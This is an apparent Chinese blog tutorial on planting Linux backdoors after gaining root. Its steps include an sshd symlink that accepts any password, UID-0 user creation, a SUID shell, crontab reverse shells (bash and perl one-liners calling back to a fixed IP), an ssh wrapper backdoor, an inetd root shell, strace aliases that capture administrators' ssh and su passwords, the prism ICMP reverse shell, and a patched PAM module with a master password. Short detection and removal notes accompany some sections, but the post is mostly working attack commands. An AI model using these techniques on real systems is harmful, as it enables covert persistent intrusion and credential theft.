linux后门源码,linux后门

ssh软连接

#只有root用户才可以这种方法

#拿到root权限后执行

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

#任意密码连接5555端口

ssh root@106.13.124.93:5555

ssh root@106.13.124.93 -p 5555

0e568621611a324b784793597be016a0.png

检测:查看可疑进程

# ps aux

清除后门:

结束进程即可,

# kill -s 9 PID

ce4f40437b42611cbe0d8d603b330203.png

添加用户

root权限

一句话添加用户

useradd guest;echo 'guest:123456'|chpasswd

#vi /etc/passwd

最后一行改为(要修改,不要新加一行):

guest:x:0:1002:::/bin/bash

这样可以用guest-123456用户来登陆了,而且是root权限

4b43e428a0fbdd326c60362535cf253a.png

修改/etc/sudoers文件

新建普通用户,修改sudoers文件

2376ed23aba2cb07925a51916b72f50d.png

8367167abddd1c8035265f56642636fe.png

解决:手动编辑文件

# visudo

suid后门

root权限下:

# chmod 4755 /bin/dash

这里注意一下不能是/bin/bash,因为Linux某种机制原因没有root权限。

普通用户下 执行:

# /bin/dash

就能获得root权限了

检测:

# find / -perm -u=s -type f 2>/dev/null

# find / -user root -perm -4000 -exec ls -ldb {} ;

# find / -user root -perm -4000 -print 2>/dev/null

解决:取消s权限,例如

# chmod u-s /usr/sbin/find

crontab反弹shell后门

当 /bin/sh指向/bin/dash的时候,反弹shell用bash的话必须得这样弹:

* * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"

这句话的意思是,这种方法仍然适合/bin/bash指向/bin/bash的主机

ubuntu中,不能指定用户名

* * * * * bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"

或者有权限改变/bin/sh的连接指向/bin/bash后:

ln -s -f /bin/bash /bin/sh

反弹shell可以用最常见的办法:

* * * * * /bin/bash -i >& /dev/tcp/ip(vps)/7999 0>&1

如果不用bash:

*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

其他的反弹shell方法自己探索吧

解决:

# crontab -e

或者直接进目录查看文件(此目录为ubuntu,其他系统存在不同)

# ls -al /var/spool/cron/crontabs/

428e0a552d5ac574fe3de69a45706e23.png

ssh免密登录

A:106.13.124.93

B:101.132.104.215

现在B想配置免密登录连接A

B:

# ssh-keygen -b 4096 -t rsa

连着三次回车默认就行了,在/root/.ssh/目录下生成了两个文件,id_rsa和id_rsa.pub文件。

# cat /root/.ssh/id_rsa.pub

全部复制文件内容

A:

# vi /root/.ssh/authorized_keys

id_rsa.pub内容粘贴到文件里面(如果原来存在内容就另起一行粘贴)

# chmod 600 /root/.ssh/authorized_keys

# chmod 700 /root/.ssh

B:

# ssh -i /root/.ssh/id_rsa root@106.13.124.93

54129d92a8955d3e03295ac654725dc4.png

解决:

一般情况下,我们是不会去禁用免密登录的(实质上为用私钥登陆)。

所以我们只好手动查看/root/.ssh/authorized_keys文件

ssh wrapper后门

受害者主机:

# cd /usr/sbin

# mv sshd ../bin

# echo '#!/usr/bin/perl' >sshd

# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd

# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd

# chmod u+x sshd

# /etc/init.d/sshd restart(在我的测试环境上是/etc/init.d/ssh restart,可以进入目录直接查看,目的是让ssh服务重启)

攻击者主机:

# socat STDIO TCP4:106.13.124.93:22,sourceport=13377

98e661f6c3f08bdeb0f3570ceff70727.png

检测:

# ls -al /usr/sbin/sshd

# cat /usr/sbin/sshd

解决:

# rm -rf /usr/sbin/sshd

# mv /usr/bin/sshd /usr/sbin;

# /etc/init.d/ssh restart

或者直接重装ssh服务

inetd

受害者主机:

# vi /etc/inetd.conf

添加内容

daytime stream tcp nowait root /bin/bash bash -i

重启

# service inetd restart

125df6205d8a1b0f5d0adca8e5a808d1.png

攻击者:

# nc -vv 106.13.124.93(受害者ip) 13

ec3c89fa9e397a0a65dbfd49b75fe3de.png

检测:手动查看/etc/inetd.conf文件

消除后门:

修改配置文件,关闭inetd

关闭inetd后,bash的连接仍然存在,需要手动杀死进程

# kill -s 9 14264

81f5783911118866d79fcabac3645442.png

strace后门

攻击者:

已经拿到了主机的权限,在主机的管理员用ssh命令时候,记录下密码到/tmp/.ssh.log下面

# vi /root/.bashrc

加入内容

alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'

更新配置文件

# source /root/.bashrc

a140a0d95820ccafd0970cfeedc3fb39.png

管理员的受害过程:

管理员不知道有后门,他在这台主机上连接另外一台主机

# ssh zzz@101.132.104.215

输入密码登陆成功后,/tmp/.ssh.log便记录下了zzz的密码和相关主机的ip

fd3e90f49ece6758dd5e685aca151370.png

也可配置全局的文件,我们一开始只是给root用户配置上了

# vi /etc/bash.bashrc

生效

# source /etc/bash.bashrc

现在每个用户su的时候密码都会被记录了

su,sudo同样的道理

alias su='strace -o /tmp/.su.log -e read,write,connect -s 2048 su'

1273319e96f09fbe1f57638c1020d729.png

检测:

# alias

消除:

修改配置,并且souce命令使其生效

协议后门

一般来说,主机的防火墙拦截外部来的流量到达内部某个端口,但是在一些访问严格被控制的电脑也会被限制你从内部访问外部。

icmp

使用情况:主机从内到外的服务也被仅用了很多,但是icmp没有被禁用(一般很少禁用ping命令)

工具:https://github.com/andreafabrizi/prism

icmp模式:

条件:双方能够ping通就行,建议先检查一下这个

1.受害机:192.168.3.135

# vi prism.c

设置主要有三点

define REVERSE_HOST "192.168.3.200"(攻击主机)

define REVERSE_PORT 2333 (攻击主机监听的端口)

define ICMP_KEY "1234"(密码)

编译

# gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

运行

# ./prism

2.攻击机192.168.3.200

监听端口2333

# nc -lvp 2333

3.攻击机

# ./sendPacket.py 192.168.3.135 1234 192.168.3.200 2333

4.攻击机收到shell

9ca3d22ef70866cbc836d10fa45218b6.png

static模式

1.攻击机101.132.104.215

# nc -lvp 9876

2.受害机:106.13.124.93

# vi prism.c(编辑内容同上)

# gcc -DSTATIC -DDETACH -DNORENAME -Wall -s -o prism prism.c

# ./prism

3.攻击机收到shell

清除

1.重启即可失效

2.把名字prism的进程全部结束

# ps -ef|grep "./prism"|grep -v grep|awk '{print $2}'|xargs kill -9

3.关闭可疑的/bin/sh或者/bin/bash进程(断开已连接的shell)

2.3必须配合使用

f88aea8f6fe6ad84afff7091ba1392ff.png

PAM后门

环境:百度云 ubuntu16.04 64位

查看pam版本:

# dpkg -l | grep pam

我的版本是1.18

下载未编译过的PAM:https://src.fedoraproject.org/repo/pkgs/pam/

# cd /root (下边的指令都是基于root目录)

# wget https://src.fedoraproject.org/repo/pkgs/pam/Linux-PAM-1.1.8.tar.bz2/35b6091af95981b1b2cd60d813b5e4ee/Linux-PAM-1.1.8.tar.bz2

解压:

# tar xjf Linux-PAM-1.1.8

编辑后门:

# /root/Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

找到这一句:

retval = _unix_verify_password(pamh, name, p, ctrl);

修改为:

if (strcmp(p, "123456") != 0) {

retval = _unix_verify_password(pamh, name, p, ctrl);

} else {

retval = PAM_SUCCESS;

}

123456为后门密码

2d8db63c2e47bc703789852663ce49c3.png

编译:

# cd /root/Linux-PAM-1.1.8

# ./configure

# make

替换文件:

# cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/securitypam_unix.so

验证:

用xshell root-123456登陆成功

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值